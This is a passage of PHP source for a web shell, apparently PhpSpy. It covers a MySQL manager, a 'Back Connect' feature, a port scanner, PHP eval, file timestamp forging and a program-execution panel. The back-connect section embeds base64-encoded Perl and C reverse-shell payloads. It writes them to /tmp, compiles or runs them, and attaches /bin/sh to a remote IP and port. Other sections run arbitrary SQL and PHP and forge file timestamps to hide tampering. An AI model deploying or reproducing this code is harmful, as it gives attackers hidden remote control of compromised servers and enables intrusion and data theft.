752 p('DBName:');
753 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
754 p('DBCharset:');
755 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
756 p('</p>');
757 formfoot();
758 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
759 p('<h2>Upload file</h2>');
760 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
761 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
762 p('<h2>Download file</h2>');
763 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
764 makehide('dbhost');
765 makehide('dbport');
766 makehide('dbuser');
767 makehide('dbpass');
768 makehide('dbname');
769 makehide('charset');
770 makehide('doing');
771 makehide('action','sqlfile');
772 p('</form>');
773}
774
775elseif ($action == 'mysqladmin') {
776 !$dbhost && $dbhost = 'localhost';
777 !$dbuser && $dbuser = 'root';
778 !$dbport && $dbport = '3306';
779 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
780 if(isset($dbhost)){
781 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
782 }
783 if(isset($dbuser)) {
784 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
785 }
786 if(isset($dbpass)) {
787 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
788 }
789 if(isset($dbport)) {
790 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
791 }
792 if(isset($dbname)) {
793 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
794 }
795 if(isset($charset)) {
796 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
797 }
798
799 if ($doing == 'backupmysql' && $saveasfile) {
800 if (!$table) {
801 m('Please choose the table');
802 } else {
803 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
804 $fp = @fopen($path,'w');
805 if ($fp) {
806 foreach($table as $k => $v) {
807 if ($v) {
808 sqldumptable($v, $fp);
809 }
810 }
811 fclose($fp);
812 $fileurl = str_replace(SA_ROOT,'',$path);
813 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
814 mysql_close();
815 } else {
816 m('Backup failed');
817 }
818 }
819 }
820 if ($insert && $insertsql) {
821 $keystr = $valstr = $tmp = '';
822 foreach($insertsql as $key => $val) {
823 if ($val) {
824 $keystr .= $tmp.$key;
825 $valstr .= $tmp."'".addslashes($val)."'";
826 $tmp = ',';
827 }
828 }
829 if ($keystr && $valstr) {
830 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
831 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
832 }
833 }
834 if ($update && $insertsql && $base64) {
835 $valstr = $tmp = '';
836 foreach($insertsql as $key => $val) {
837 $valstr .= $tmp.$key."='".addslashes($val)."'";
838 $tmp = ',';
839 }
840 if ($valstr) {
841 $where = base64_decode($base64);
842 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
843 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
844 }
845 }
846 if ($doing == 'del' && $base64) {
847 $where = base64_decode($base64);
848 $delete_sql = "DELETE FROM $tablename WHERE $where";
849 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
850 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
851 }
852
853 if ($tablename && $doing == 'drop') {
854 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
855 if (q("DROP TABLE $tablename")) {
856 m('Drop table of success');
857 $tablename = '';
858 } else {
859 m(mysql_error());
860 }
861 }
862
863 formhead(array('title'=>'MYSQL Manager'));
864 makehide('action','mysqladmin');
865 p('<p>');
866 p('DBHost:');
867 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
868 p(':');
869 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
870 p('DBUser:');
871 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
872 p('DBPass:');
873 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
874 p('DBCharset:');
875 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
876 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
877 p('</p>');
878 formfoot();
879
880 //²Ù×÷¼Ç¼
881 formhead(array('name'=>'recordlist'));
882 makehide('doing');
883 makehide('action','mysqladmin');
884 makehide('base64');
885 makehide('tablename');
886 p($dbform);
887 formfoot();
888
889 //Ñ¡¶¨Êý¾Ã¿â
890 formhead(array('name'=>'setdbname'));
891 makehide('action','mysqladmin');
892 p($dbform);
893 if (!$dbname) {
894 makehide('dbname');
895 }
896 formfoot();
897
898 //Ñ¡¶¨±Ã
899 formhead(array('name'=>'settable'));
900 makehide('action','mysqladmin');
901 p($dbform);
902 makehide('tablename');
903 makehide('page',$page);
904 makehide('doing');
905 formfoot();
906
907 $cachetables = array();
908 $pagenum = 30;
909 $page = intval($page);
910 if($page) {
911 $start_limit = ($page - 1) * $pagenum;
912 } else {
913 $start_limit = 0;
914 $page = 1;
915 }
916 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
917 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
918 //»ñÈ¡Êý¾Ã¿âÃÅâ
919 $mysqlver = mysql_get_server_info();
920 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
921 $highver = $mysqlver > '4.1' ? 1 : 0;
922
923 //»ñÈ¡Êý¾Ã¿â
924 $query = q("SHOW DATABASES");
925 $dbs = array();
926 $dbs[] = '-- Select a database --';
927 while($db = mysql_fetch_array($query)) {
928 $dbs[$db['Database']] = $db['Database'];
929 }
930 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
931 $tabledb = array();
932 if ($dbname) {
933 p('<p>');
934 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
935 if ($tablename) {
936 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
937 }
938 p('</p>');
939 mysql_select_db($dbname);
940
941 $getnumsql = '';
942 $runquery = 0;
943 if ($sql_query) {
944 $runquery = 1;
945 }
946 $allowedit = 0;
947 if ($tablename && !$sql_query) {
948 $sql_query = "SELECT * FROM $tablename";
949 $getnumsql = $sql_query;
950 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
951 $allowedit = 1;
952 }
953 p('<form action="'.$self.'" method="POST">');
954 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
955 makehide('tablename', $tablename);
956 makehide('action','mysqladmin');
957 p($dbform);
958 p('</form>');
959 if ($tablename || ($runquery && $sql_query)) {
960 if ($doing == 'structure') {
961 $result = q("SHOW FULL COLUMNS FROM $tablename");
962 $rowdb = array();
963 while($row = mysql_fetch_array($result)) {
964 $rowdb[] = $row;
965 }
966 p('<h3>Structure</h3>');
967 p('<table border="0" cellpadding="3" cellspacing="0">');
968 p('<tr class="head">');
969 p('<td>Field</td>');
970 p('<td>Type</td>');
971 p('<td>Collation</td>');
972 p('<td>Null</td>');
973 p('<td>Key</td>');
974 p('<td>Default</td>');
975 p('<td>Extra</td>');
976 p('<td>Privileges</td>');
977 p('<td>Comment</td>');
978 p('</tr>');
979 foreach ($rowdb as $row) {
980 $thisbg = bg();
981 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
982 p('<td>'.$row['Field'].'</td>');
983 p('<td>'.$row['Type'].'</td>');
984 p('<td>'.$row['Collation'].' </td>');
985 p('<td>'.$row['Null'].' </td>');
986 p('<td>'.$row['Key'].' </td>');
987 p('<td>'.$row['Default'].' </td>');
988 p('<td>'.$row['Extra'].' </td>');
989 p('<td>'.$row['Privileges'].' </td>');
990 p('<td>'.$row['Comment'].' </td>');
991 p('</tr>');
992 }
993 tbfoot();
994 $result = q("SHOW INDEX FROM $tablename");
995 $rowdb = array();
996 while($row = mysql_fetch_array($result)) {
997 $rowdb[] = $row;
998 }
999 p('<h3>Indexes</h3>');
1000 p('<table border="0" cellpadding="3" cellspacing="0">');
1001 p('<tr class="head">');
1002 p('<td>Keyname</td>');
1003 p('<td>Type</td>');
1004 p('<td>Unique</td>');
1005 p('<td>Packed</td>');
1006 p('<td>Seq_in_index</td>');
1007 p('<td>Field</td>');
1008 p('<td>Cardinality</td>');
1009 p('<td>Collation</td>');
1010 p('<td>Null</td>');
1011 p('<td>Comment</td>');
1012 p('</tr>');
1013 foreach ($rowdb as $row) {
1014 $thisbg = bg();
1015 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1016 p('<td>'.$row['Key_name'].'</td>');
1017 p('<td>'.$row['Index_type'].'</td>');
1018 p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>');
1019 p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>');
1020 p('<td>'.$row['Seq_in_index'].'</td>');
1021 p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>');
1022 p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>');
1023 p('<td>'.$row['Collation'].' </td>');
1024 p('<td>'.$row['Null'].' </td>');
1025 p('<td>'.$row['Comment'].' </td>');
1026 p('</tr>');
1027 }
1028 tbfoot();
1029 } elseif ($doing == 'insert' || $doing == 'edit') {
1030 $result = q('SHOW COLUMNS FROM '.$tablename);
1031 while ($row = mysql_fetch_array($result)) {
1032 $rowdb[] = $row;
1033 }
1034 $rs = array();
1035 if ($doing == 'insert') {
1036 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1037 } else {
1038 p('<h2>Update record in '.$tablename.' table »</h2>');
1039 $where = base64_decode($base64);
1040 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1041 $rs = mysql_fetch_array($result);
1042 }
1043 p('<form method="post" action="'.$self.'">');
1044 p($dbform);
1045 makehide('action','mysqladmin');
1046 makehide('tablename',$tablename);
1047 p('<table border="0" cellpadding="3" cellspacing="0">');
1048 foreach ($rowdb as $row) {
1049 if ($rs[$row['Field']]) {
1050 $value = htmlspecialchars($rs[$row['Field']]);
1051 } else {
1052 $value = '';
1053 }
1054 $thisbg = bg();
1055 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1056 if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
1057 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
1058 } else {
1059 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1060 }
1061 }
1062 if ($doing == 'insert') {
1063 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1064 } else {
1065 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1066 makehide('base64', $base64);
1067 }
1068 p('</table></form>');
1069 } else {
1070 $querys = @explode(';',$sql_query);
1071 foreach($querys as $num=>$query) {
1072 if ($query) {
1073 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1074 switch(qy($query))
1075 {
1076 case 0:
1077 p('<h2>Error : '.mysql_error().'</h2>');
1078 break;
1079 case 1:
1080 if (strtolower(substr($query,0,13)) == 'select * from') {
1081 $allowedit = 1;
1082 }
1083 if ($getnumsql) {
1084 $tatol = mysql_num_rows(q($getnumsql));
1085 $multipage = multi($tatol, $pagenum, $page, $tablename);
1086 }
1087 if (!$tablename) {
1088 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1089 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1090 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1091 $tablename = $matches[1][0];
1092 }
1093
1094 /*********************/
1095 $getfield = q("SHOW COLUMNS FROM $tablename");
1096 $rowdb = array();
1097 $keyfied = ''; //Ö÷¼ü×Ö¶Î
1098 while($row = @mysql_fetch_assoc($getfield)) {
1099 $rowdb[$row['Field']]['Key'] = $row['Key'];
1100 $rowdb[$row['Field']]['Extra'] = $row['Extra'];
1101 if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
1102 $keyfied = $row['Field'];
1103 }
1104 }
1105 /*********************/
1106 //Ö±½Óä¯ÀÀ±Ã°´ÕÕÖ÷¼ü½µÃòÅÅÃÃ
1107 if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
1108 $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
1109 }
1110
1111 $result = q($query);
1112
1113 p($multipage);
1114 p('<table border="0" cellpadding="3" cellspacing="0">');
1115 p('<tr class="head">');
1116 if ($allowedit) p('<td>Action</td>');
1117 $fieldnum = @mysql_num_fields($result);
1118 for($i=0;$i<$fieldnum;$i++){
1119 $name = @mysql_field_name($result, $i);
1120 $type = @mysql_field_type($result, $i);
1121 $len = @mysql_field_len($result, $i);
1122 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1123 }
1124 p('</tr>');
1125
1126 while($mn = @mysql_fetch_assoc($result)){
1127 $thisbg = bg();
1128 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1129 $where = $tmp = $b1 = '';
1130 //ѡȡÌõ¼þ×Ö¶ÎÓÃ
1131 foreach($mn as $key=>$inside){
1132 if ($inside) {
1133 //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÃÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾Ããֹ£¬·ñÔò×éºÃËùÓÃ×Ö¶Î×÷ΪÌõ¼þ¡£
1134 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
1135 $where = $key."='".addslashes($inside)."'";
1136 break;
1137 }
1138 $where .= $tmp.$key."='".addslashes($inside)."'";
1139 $tmp = ' AND ';
1140 }
1141 }
1142 //¶ÃÈ¡¼Ç¼ÓÃ
1143 foreach($mn as $key=>$inside){
1144 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1145 }
1146 $where = base64_encode($where);
1147
1148 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1149
1150 p($b1);
1151 p('</tr>');
1152 unset($b1);
1153 }
1154 p('<tr class="head">');
1155 if ($allowedit) p('<td>Action</td>');
1156 $fieldnum = @mysql_num_fields($result);
1157 for($i=0;$i<$fieldnum;$i++){
1158 $name = @mysql_field_name($result, $i);
1159 $type = @mysql_field_type($result, $i);
1160 $len = @mysql_field_len($result, $i);
1161 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1162 }
1163 p('</tr>');
1164 tbfoot();
1165 p($multipage);
1166 break;
1167 case 2:
1168 $ar = mysql_affected_rows();
1169 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1170 break;
1171 }
1172 }
1173 }
1174 }
1175 } else {
1176 $query = q("SHOW TABLE STATUS");
1177 $table_num = $table_rows = $data_size = 0;
1178 $tabledb = array();
1179 while($table = mysql_fetch_array($query)) {
1180 $data_size = $data_size + $table['Data_length'];
1181 $table_rows = $table_rows + $table['Rows'];
1182 $table['Data_length'] = sizecount($table['Data_length']);
1183 $table_num++;
1184 $tabledb[] = $table;
1185 }
1186 $data_size = sizecount($data_size);
1187 unset($table);
1188 p('<table border="0" cellpadding="0" cellspacing="0">');
1189 p('<form action="'.$self.'" method="POST">');
1190 makehide('action','mysqladmin');
1191 p($dbform);
1192 p('<tr class="head">');
1193 p('<td width="2%" align="center"> </td>');
1194 p('<td>Name</td>');
1195 p('<td>Rows</td>');
1196 p('<td>Data_length</td>');
1197 p('<td>Create_time</td>');
1198 p('<td>Update_time</td>');
1199 if ($highver) {
1200 p('<td>Engine</td>');
1201 p('<td>Collation</td>');
1202 }
1203 p('<td>Operate</td>');
1204 p('</tr>');
1205 foreach ($tabledb as $key => $table) {
1206 $thisbg = bg();
1207 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1208 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1209 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
1210 p('<td>'.$table['Rows'].'</td>');
1211 p('<td>'.$table['Data_length'].'</td>');
1212 p('<td>'.$table['Create_time'].' </td>');
1213 p('<td>'.$table['Update_time'].' </td>');
1214 if ($highver) {
1215 p('<td>'.$table['Engine'].'</td>');
1216 p('<td>'.$table['Collation'].'</td>');
1217 }
1218 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
1219 p('</tr>');
1220 }
1221 p('<tr class="head">');
1222 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1223 p('<td>Name</td>');
1224 p('<td>Rows</td>');
1225 p('<td>Data_length</td>');
1226 p('<td>Create_time</td>');
1227 p('<td>Update_time</td>');
1228 if ($highver) {
1229 p('<td>Engine</td>');
1230 p('<td>Collation</td>');
1231 }
1232 p('<td>Operate</td>');
1233 p('</tr>');
1234 p('<tr class='.bg().'>');
1235 p('<td> </td>');
1236 p('<td>Total tables: '.$table_num.'</td>');
1237 p('<td>'.$table_rows.'</td>');
1238 p('<td>'.$data_size.'</td>');
1239 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
1240 p('</tr>');
1241
1242 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>");
1243 makehide('doing','backupmysql');
1244 formfoot();
1245 p("</table>");
1246 fr($query);
1247 }
1248 }
1249 }
1250 tbfoot();
1251 @mysql_close();
1252}//end mysql
1253
1254elseif ($action == 'backconnect') {
1255 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1256 !$yourport && $yourport = '12345';
1257 $usedb = array('perl'=>'perl','c'=>'c');
1258
1259 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1260 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1261 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1262 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1263 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1264 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1265 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1266 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1267 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1268 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1269 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1270 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1271 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1272 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1273 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1274
1275 if ($start && $yourip && $yourport && $use){
1276 if ($use == 'perl') {
1277 cf('/tmp/angel_bc',$back_connect);
1278 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1279 } else {
1280 cf('/tmp/angel_bc.c',$back_connect_c);
1281 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1282 @unlink('/tmp/angel_bc.c');
1283 $res = execute("/tmp/angel_bc $yourip $yourport &");
1284 }
1285 m("Now script try connect to $yourip port $yourport ...");
1286 }
1287
1288 formhead(array('title'=>'Back Connect'));
1289 makehide('action','backconnect');
1290 p('<p>');
1291 p('Your IP:');
1292 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1293 p('Your Port:');
1294 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1295 p('Use:');
1296 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1297 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1298 p('</p>');
1299 formfoot();
1300}//end
1301
1302elseif ($action == 'portscan') {
1303 !$scanip && $scanip = '127.0.0.1';
1304 !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
1305 formhead(array('title'=>'Port Scan'));
1306 makehide('action','portscan');
1307 p('<p>');
1308 p('IP:');
1309 makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
1310 p('Port:');
1311 makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
1312 makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
1313 p('</p>');
1314 formfoot();
1315
1316 if ($startscan) {
1317 p('<h2>Result »</h2>');
1318 p('<ul class="info">');
1319 foreach(explode(',', $scanport) as $port) {
1320 $fp = @fsockopen($scanip, $port, &$errno, &$errstr, 1);
1321 if (!$fp) {
1322 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>');
1323 } else {
1324 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>');
1325 @fclose($fp);
1326 }
1327 }
1328 p('</ul>');
1329 }
1330}
1331
1332elseif ($action == 'eval') {
1333 $phpcode = trim($phpcode);
1334 if($phpcode){
1335 if (!preg_match('#<\?#si', $phpcode)) {
1336 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1337 }
1338 eval("?".">$phpcode<?");
1339 }
1340 formhead(array('title'=>'Eval PHP Code'));
1341 makehide('action','eval');
1342 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1343 p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>');
1344 formfooter();
1345}//end eval
1346
1347elseif ($action == 'editfile') {
1348 if(file_exists($opfile)) {
1349 $fp=@fopen($opfile,'r');
1350 $contents=@fread($fp, filesize($opfile));
1351 @fclose($fp);
1352 $contents=htmlspecialchars($contents);
1353 }
1354 formhead(array('title'=>'Create / Edit File'));
1355 makehide('action','file');
1356 makehide('dir',$nowpath);
1357 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1358 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1359 formfooter();
1360
1361 goback();
1362
1363}//end editfile
1364
1365elseif ($action == 'newtime') {
1366 $opfilemtime = @filemtime($opfile);
1367 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1368 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1369 formhead(array('title'=>'Clone folder/file was last modified time'));
1370 makehide('action','file');
1371 makehide('dir',$nowpath);
1372 makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1373 makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1374 formfooter();
1375 formhead(array('title'=>'Set last modified'));
1376 makehide('action','file');
1377 makehide('dir',$nowpath);
1378 makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1379 p('<p>year:');
1380 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1381 p('month:');
1382 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1383 p('day:');
1384 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1385 p('hour:');
1386 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1387 p('minute:');
1388 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1389 p('second:');
1390 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1391 p('</p>');
1392 formfooter();
1393 goback();
1394}//end newtime
1395
1396elseif ($action == 'shell') {
1397 if (IS_WIN && IS_COM) {
1398 if($program && $parameter) {
1399 $shell= new COM('Shell.Application');
1400 $a = $shell->ShellExecute($program,$parameter);
1401 m('Program run has '.(!$a ? 'success' : 'fail'));
1402 }
1403 !$program && $program = 'c:\windows\system32\cmd.exe';
1404 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1405 formhead(array('title'=>'Execute Program'));
1406 makehide('action','shell');
1407 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1408 p('<p>');
1409 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1410 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1411 p('</p>');
1412 formfoot();
1413 }
1414 formhead(array('title'=>'Execute Command'));
1415 makehide('action','shell');
